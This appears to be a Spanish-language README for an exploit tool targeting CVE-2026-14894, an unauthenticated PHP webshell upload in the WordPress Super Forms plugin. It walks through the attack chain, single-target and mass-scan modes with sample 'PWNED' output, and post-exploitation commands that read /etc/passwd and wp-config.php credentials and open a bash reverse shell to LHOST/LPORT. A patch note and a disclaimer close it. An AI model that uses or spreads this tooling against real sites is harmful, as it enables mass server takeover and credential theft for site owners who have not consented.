
Exploit PoC para CVE-2026-14894: carga de archivos arbitraria no autenticada que conduce a ejecución remota de código en el plugin Super Forms de WordPress. Incluye modos de escaneo objetivo único y masivo con descubrimiento automatizado de shells.
Carga de archivos arbitraria no autenticada → Ejecución remota de código en el plugin de WordPress Super Forms versiones ≤ 6.3.313.
La vulnerabilidad reside en el manejador AJAX super_submit_form que procesa las subidas de archivos a través de un campo datauristring sin validar la extensión del archivo ni el tipo MIME antes de escribir en disco. Un atacante no autenticado puede subir un webshell PHP y lograr la ejecución remota completa de código en el servidor objetivo.
[1] Mint nonce (nopriv)
POST /wp-admin/admin-ajax.php
action=super_create_nonce
│
▼
[2] Upload PHP shell via datauristring (unauthenticated)
POST /wp-admin/admin-ajax.php
action=super_submit_form
data={"sf_upload_field":{"files":[{"datauristring":"data:image/png;base64,..."}]}}
│
├── Path Traversal → /wp-content/themes/<theme>/shell.php ← primary
│ (always exec)
│
└── Random folder → /wp-content/uploads/superforms/... ← fallback
(exec depends on server policy)
│
▼
[3] Shell Discovery
├── S0: media?parent=entry_id (WP REST)
├── S1: REST /wp/v2/media search (unauth)
├── S2: Apache/nginx directory listing
└── S3: WP sitemap attachment XML
│
▼
[4] RCE → curl "http://target/wp-content/themes/theme/shell.php?c=id"
pip install requests urllib3
python cve-2026-14894.py
CVE-2026-14894 │ Super Forms ≤ 6.3.313
Unauthenticated File Upload → Remote Code Execution
Researcher: andrea bocchetti | PoC: Beelze
1 Single target
2 Mass targets (file)
Mode (1/2): 1
Target URL : https://target.com
Form ID (enter=auto) : ← leave blank = auto-discover
Shell name (enter=random): ← leave blank = random name
Shell file (enter=built-in): ← leave blank = built-in shell
WP user (optional/REST) : ← optional, improves discovery
WP pass (optional/REST) : ← optional
Resultado esperado en caso de éxito:
──────────────────────────────────────────────────────────────
TARGET https://target.com
──────────────────────────────────────────────────────────────
Super Forms v6.3.301 vulnerable ≤6.3.313
[1/3] Mint nonce ...................... ✔ OK a3f9e1c... sid=sess_ab...
[2/3] Upload [xkqmhzjt.php] .......... ✔ OK form_id=42 entry_id=137
[3/3] Shell discovery ................ ✔ FOUND → RCE [path traversal → theme]
╔══════════════════════════════════════════════════════════════╗
║ ✓ PWNED → RCE CONFIRMADO ║
║ ║
║ Shell » https://target.com/wp-content/themes/astra/shell ║
║ RCE » uid=33(www-data) gid=33(www-data) ║
║ ║
║ $ curl "https://target.com/...shell.php?c=whoami" ║
╚══════════════════════════════════════════════════════════════╝
Mode (1/2): 2
Targets file : targets.txt ← one URL per line, # = comment
Form ID (enter=auto) :
Threads (enter=5) : 10
Shell file (enter=built-in):
WP user (optional/REST) :
WP pass (optional/REST) :
Formato de targets.txt:
# Bug bounty scope
https://site1.com
https://site2.com
https://site3.com
Salida del escaneo masivo:
══════════════════════════════════════════════════════════════
MASS SCAN 3 targets threads=10
══════════════════════════════════════════════════════════════
[01/03] https://site1.com .... RCE uid=33(www-data)
↳ https://site1.com/wp-content/themes/astra/xkqmhzjt.php
[02/03] https://site2.com .... WRITE no exec
↳ https://site2.com/wp-content/uploads/superforms/2026/07/.../shell.php
[03/03] https://site3.com .... FAIL plugin inactive / blocked
══════════════════════════════════════════════════════════════
SUMMARY 1 RCE 1 WRITE_ONLY 0 MAYBE / 3 total
══════════════════════════════════════════════════════════════
RCE SHELLS:
» https://site1.com/wp-content/themes/astra/xkqmhzjt.php (uid=33...)
Puedes proporcionar tu propio archivo de shell en lugar del webshell incorporado:
Shell file (enter=built-in): /path/to/myshell.php
La herramienta subirá tu archivo y tratará cualquier respuesta 200 con un cuerpo no vacío como confirmación de RCE.
Después de obtener RCE, interactúa con el shell:
# Command execution
curl -sk "https://target.com/wp-content/themes/theme/shell.php?c=id"
curl -sk "https://target.com/wp-content/themes/theme/shell.php?c=cat+/etc/passwd"
# Read WordPress config (creds, DB)
curl -sk "https://target.com/.../shell.php?c=cat+/var/www/html/wp-config.php"
# Reverse shell
curl -sk "https://target.com/.../shell.php" --data "c=bash+-c+'bash+-i+>%26+/dev/tcp/LHOST/LPORT+0>%261'"
Los resultados se guardan automáticamente en:
~/Documents/CVE-2026-14894/result_YYYYMMDD_HHMMSS.json
| Estado | Significado |
|---|---|
RCE | Shell PHP confirmado ejecutándose — ejecución remota completa de código |
Actualiza Super Forms a ≥ 6.3.314. El parche fuerza la extensión solo .pdf en las subidas datauristring y añade contención con realpath() para evitar el path traversal.
Esta herramienta está destinada únicamente a pruebas de penetración autorizadas, investigación de bug bounty y fines educativos.
No la uses contra sistemas para los que no tengas permiso explícito por escrito.
El autor no se hace responsable de ningún uso indebido o daño causado por esta herramienta.
CVE-2026-14894 · Super Forms ≤ 6.3.313 · Carga de archivos RCE no autenticada
Investigador: andrea bocchetti · PoC: Beelze
| Campo | Detalle |
|---|
| CVE ID | CVE-2026-14894 |
| Plugin | Super Forms (WordPress) |
| Afectado | ≤ 6.3.313 |
| Parcheado | 6.3.314 (fuerza extensión .pdf + contención realpath) |
| CVSS | 9.8 Crítico |
| Auth requerida | Ninguna |
| Investigador | andrea bocchetti |
| Acción AJAX | super_submit_form |
| Sumidero | campo datauristring → class-ajax.php:2762–2766 |
| Ruta de subida | /wp-content/uploads/superforms/YYYY/MM/<13digits>/ |
WRITE_ONLY | Archivo escrito pero PHP no ejecutado (motor apagado / denegación .htaccess) |
POSSIBLE_WRITE | La subida devolvió éxito pero la URL del shell no pudo resolverse |
FAIL | Plugin inactivo, nonce fallido o versión parchada detectada |